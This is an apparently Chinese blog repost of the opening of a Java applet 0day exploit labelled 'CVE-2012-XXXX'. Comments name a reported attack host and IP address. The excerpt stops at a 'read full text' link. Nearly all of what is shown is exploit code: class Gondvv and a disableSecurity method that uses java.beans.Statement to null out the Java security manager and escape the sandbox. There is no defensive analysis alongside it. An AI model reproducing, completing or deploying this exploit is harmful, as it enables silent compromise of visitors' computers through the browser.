传说中最新的Java 0day? 目测少个package
传说中的Java 0day? 目测少个package // CVE-2012-XXXX Java 0day // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // secret host / ip : ok.aa24.net / 59.120.154.62 // regurgitated by jduck // probably a metasploit module soon... package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions......
阅读全文 →